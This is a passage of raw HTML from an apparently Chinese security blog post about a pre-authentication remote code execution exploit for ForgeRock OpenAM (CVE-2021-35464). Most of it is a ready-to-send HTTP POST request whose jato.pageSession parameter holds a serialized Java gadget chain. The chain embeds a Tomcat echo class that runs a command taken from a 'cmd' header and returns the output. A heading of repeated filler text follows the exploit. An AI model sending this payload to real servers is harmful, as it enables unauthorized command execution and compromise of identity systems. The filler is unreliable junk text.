UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;text-align: left;">项</span><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;text-align: left;">目基于 </span><span style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;text-align: left;box-sizing: border-box;color: rgb(0, 153, 38);line-height: 1.75;">ysoserial<sup style="box-sizing: border-box;">[1]</sup></span><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;text-align: left;"> 和 </span><span style="font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;text-align: left;box-sizing: border-box;color: rgb(0, 153, 38);line-height: 1.75;">Java-Rce-Echo<sup style="box-sizing: border-box;">[2]</sup></span><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><span style="box-sizing: border-box;color: rgb(0, 153, 38);line-height: 1.75;"><sup style="box-sizing: border-box;"></sup></span></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">构建项目需要在依赖中加入ysoserial.jar和jato-14.6.3.jar</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="307" data-backw="578" data-ratio="0.53203125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8e7f2924&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibryQgYZvDaUgKm0TjuVh21PsddeeJCuhHrCt1FJfqUlJYT7yOWD0qUklAiaxpmIO0ibnRA3lY5ePvicg%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">POST /OpenAM/ccversion/Version HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Host: php.local:8081</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Upgrade-Insecure-Requests: 1</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Accept-Encoding: gzip, deflate</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Accept-Language: zh-CN,zh;q=0.9</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Connection: close</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Type: application/x-www-form-urlencoded</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">Content-Length: 10559</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">cmd:dir</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAABRfyv66vgAAADQBBgoARgCKCgCLAIwKAIsAjQoAHQCOCAB7CgAbAI8KAJAAkQoAkACSBwB8CgCLAJMIAJQKACAAlQgAlggAlwcAmAgAmQgAWQcAmgoAGwCbCACcCABxBwCdCwAWAJ4LABYAnwgAaAgAoAcAoQoAGwCiBwCjCgCkAKUIAKYHAKcIAKgKACAAqQgAqgkAJQCrBwCsCgAlAK0IAK4KAK8AsAoAIACxCACyCACzCAC0CAC1CAC2BwC3BwC4CgAwALkKADAAugoAuwC8CgAvAL0IAL4KAC8AvwoALwDACgAgAMEIAMIKABsAwwoAGwDECADFBwBlCgAbAMYIAMcHAMgIAMkIAMoHAMsKAEMAzAcAzQcAzgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0OwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwDPAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAA2NscwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAEdmFyNQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQACW0IBAAlwcm9jZXNzb3IBABJMamF2YS9sYW5nL09iamVjdDsBAANyZXEBAARyZXNwAQABagEAAUkBAAF0AQASTGphdmEvbGFuZy9UaHJlYWQ7AQADc3RyAQASTGphdmEvbGFuZy9TdHJpbmc7AQADb2JqAQAKcHJvY2Vzc29ycwEAEExqYXZhL3V0aWwvTGlzdDsBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAFpAQAEZmxhZwEAAVoBAAVncm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQABZgEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEADVN0YWNrTWFwVGFibGUHANAHANEHANIHAKcHAKMHAJoHAJ0HAGMHAMgHAMsBAApTb3VyY2VGaWxlAQAVVG9tY2F0RWNob0luamVjdC5qYXZhDABHAEgHANIMANMA1AwA1QDWDADXANgMANkA2gcA0QwA2wDcDADdAN4MAN8A4AEABGV4ZWMMAOEA4gEABGh0dHABAAZ0YXJnZXQBABJqYXZhL2xhbmcvUnVubmFibGUBAAZ0aGlzJDABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOMA2AEABmdsb2JhbAEADmphdmEvdXRpbC9MaXN0DADkAOUMAN0A5gEAC2dldFJlc3BvbnNlAQAPamF2YS9sYW5nL0NsYXNzDADnAOgBABBqYXZhL2xhbmcvT2JqZWN0BwDpDADqAOsBAAlnZXRIZWFkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kDADsAO0BAAlzZXRTdGF0dXMMAO4AXwEAEWphdmEvbGFuZy9JbnRlZ2VyDABHAO8BAAdvcy5uYW1lBwDwDADxAPIMAPMA4AEABndpbmRvdwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwEAEWphdmEvdXRpbC9TY2FubmVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyDABHAPQMAPUA9gcA9wwA-AD5DABHAPoBAAJcQQwA-wD8DAD9AOAMAP4A_wEAJG9yZy5hcGFjaGUudG9tY2F0LnV0aWwuYnVmLkJ5dGVDaHVuawwBAAEBDAECAQMBAAhzZXRCeXRlcwwBBADoAQAHZG9Xcml0ZQEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24BABNqYXZhLm5pby5CeXRlQnVmZmVyAQAEd3JhcAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAQUASAEAI3lzb3NlcmlhbC9wYXlsb2Fkcy9Ub21jYXRFY2hvSW5qZWN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAFWphdmEvbGFuZy9UaHJlYWRHcm91cAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAA1nZXRTdXBlcmNsYXNzAQAEc2l6ZQEAAygpSQEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAdpc0VtcHR5AQADKClaAQAEVFlQRQEABChJKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACGdldEJ5dGVzAQAEKClbQgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQAPcHJpbnRTdGFja1RyYWNlACEARQBGAAAAAAAEAAEARwBIAAEASQAAAC8AAQABAAAABSq3AAGxAAAAAgBKAAAABgABAAAAEQBLAAAADAABAAAABQBMAE0AAAABAE4ATwACAEkAAAA_AAAAAwAAAAGxAAAAAgBKAAAABgABAAAAYABLAAAAIAADAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFIAUwACAFQAAAAEAAEAVQABAE4AVgACAEkAAABJAAAABAAAAAGxAAAAAgBKAAAABgABAAAAZgBLAAAAKgAEAAAAAQBMAE0AAAAAAAEAUABRAAEAAAABAFcAWAACAAAAAQBZAFoAAwBUAAAABAABAFUACABbAEgAAQBJAAAF7QAIABEAAAMDAzu4AAK2AANMAU0rtgAEEgW2AAZNLAS2AAcsK7YACMAACcAACU4DNgQVBC2-ogLNLRUEMjoFGQXHAAanArkZBbYACjoGGQYSC7YADJoADRkGEg22AAyaAAanApsZBbYABBIOtgAGTSwEtgAHLBkFtgAIOgcZB8EAD5oABqcCeBkHtgAEEhC2AAZNLAS2AAcsGQe2AAg6BxkHtgAEEhG2AAZNpwAWOggZB7YABLYAE7YAExIRtgAGTSwEtgAHLBkHtgAIOgcZB7YABLYAExIUtgAGTacAEDoIGQe2AAQSFLYABk0sBLYABywZB7YACDoHGQe2AAQSFbYABk0sBLYABywZB7YACMAAFsAAFjoIAzYJFQkZCLkAFwEAogHLGQgVCbkAGAIAOgoZCrYABBIZtgAGTSwEtgAHLBkKtgAIOgsZC7YABBIaA70AG7YAHBkLA70AHbYAHjoMGQu2AAQSHwS9ABtZAxIgU7YAHBkLBL0AHVkDEiFTtgAewAAgOgYZBsYBVxkGtgAimgFPGQy2AAQSIwS9ABtZA7IAJFO2ABwZDAS9AB1ZA7sAJVkRAMi3ACZTtgAeVxInuAAotgApEiq2AAyZABkGvQAgWQMSK1NZBBIsU1kFGQZTpwAWBr0AIFkDEi1TWQQSLlNZBRkGUzoNuwAvWbsAMFkZDbcAMbYAMrYAM7cANBI1tgA2tgA3tgA4Og4SObgAOjoPGQ-2ADs6BxkPEjwGvQAbWQMSPVNZBLIAJFNZBbIAJFO2AD4ZBwa9AB1ZAxkOU1kEuwAlWQO3ACZTWQW7ACVZGQ6-twAmU7YAHlcZDLYABBI_BL0AG1kDGQ9TtgAcGQwEvQAdWQMZB1O2AB5XpwBOOg8SQbgAOjoQGRASQgS9ABtZAxI9U7YAPhkQBL0AHVkDGQ5TtgAeOgcZDLYABBI_BL0AG1kDGRBTtgAcGQwEvQAdWQMZB1O2AB5XBDsamQAGpwAJhAkBp_4vGpkABqcAEacACDoFpwADhAQBp_0ypwAISyq2AESxAAgAlwCiAKUAEgDFANMA1gASAhUCiAKLAEAAMAA7Au8AQwA-AFkC7wBDAFwAfALvAEMAfwLpAu8AQwAAAvoC_QBDAAMASgAAAQYAQQAAABUAAgAWAAkAFwALABgAFQAaABoAGwAmABwAMAAeADYAHwA-ACAARQAhAFwAIgBnACMAbAAkAHQAJQB_ACYAigAnAI8AKACXACoAogAtAKUAKwCnACwAuAAuAL0ALwDFADEA0wA0ANYAMgDYADMA4wA1AOgANgDwADcA-wA4AQAAOQEOADoBHQA7ASgAPAEzAD0BOAA-AUAAPwFZAEABfwBBAYwAQgG3AEMB8gBEAhUARgIcAEcCIwBIAmYASQKIAE4CiwBKAo0ASwKUAEwCtABNAtYATwLYAFEC3wA6AuUAUwLsAFYC7wBUAvEAVQL0ABwC-gBaAv0AWAL-AFkDAgBbAEsAAADeABYApwARAFwAXQAIANgACwBcAF0ACAIcAGwAXgBfAA8ClABCAF4AXwAQAo0ASQBgAGEADwHyAOYAYgBjAA0CFQDDAGQAZQAOASgBtwBmAGcACgFAAZ8AaABnAAsBWQGGAGkAZwAMAREB1ABqAGsACQA2ArYAbABtAAUARQKnAG4AbwAGAHQCeABwAGcABwEOAd4AcQByAAgC8QADAFwAcwAFACkC0QB0AGsABAACAvgAdQB2AAAACQLxAHcAeAABAAsC7wB5AHoAAgAmAtQAewB8AAMC_gAEAFwAcwAAAH0AAACoABf_ACkABQEHAH4HAH8HAAkBAAD8ABQHAID8ABoHAIEC_AAiBwCCZQcAgxJdBwCDDP0ALQcAhAH-AMsHAIIHAIIHAIJSBwCF_wCaAA8BBwB-BwB_BwAJAQcAgAcAgQcAggcAhAEHAIIHAIIHAIIHAIUHAD0AAQcAhvsASvkAAfgABvoABf8ABgAFAQcAfgcAfwcACQEAAEIHAIcE_wAFAAAAAEIHAIcEAAEAiAAAAAIAiXVxAH4AJAAAAdjK_rq-AAAANAAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$</span></code></pre></section><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑凑字数</h1><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">参考<br/></h1><p style="box-sizing: border-box;padding-left: 1em;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span><a href="https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464" target="_blank">https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464</a></span></p><h3 style="box-sizing: border-box;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-bottom: 0.1em;padding-left: 8px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">References</h3><p style="box-sizing: border-box;margin: 0.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><code style="box-sizing: border-box;opacity: 0.6;">[1]</code> ysoserial: <em style="box-sizing: border-box;"><a href="https://github.com/frohoff/ysoserial" target="_blank">https://github.com/frohoff/ysoserial</a></em><br style="box-sizing: border-box;"/><code style="box-sizing: border-box;opacity: 0.6;">[2]</code> Java-Rce-Echo: <em style="box-sizing: border-box;"><a href="https://github.com/feihong-cs/Java-Rce-Echo" target="_blank">https://github.com/feihong-cs/Java-Rce-Echo</a></em></p><section><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247486142">阅读原文</a></p>
